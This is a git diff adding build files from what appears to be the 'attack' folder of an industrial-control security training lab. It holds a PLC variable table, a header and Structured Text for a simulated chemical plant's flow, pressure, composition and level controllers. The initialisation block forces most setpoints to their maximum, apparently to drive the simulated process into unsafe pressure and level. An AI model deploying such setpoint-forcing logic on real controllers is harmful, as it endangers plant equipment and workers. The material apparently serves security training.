+390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ 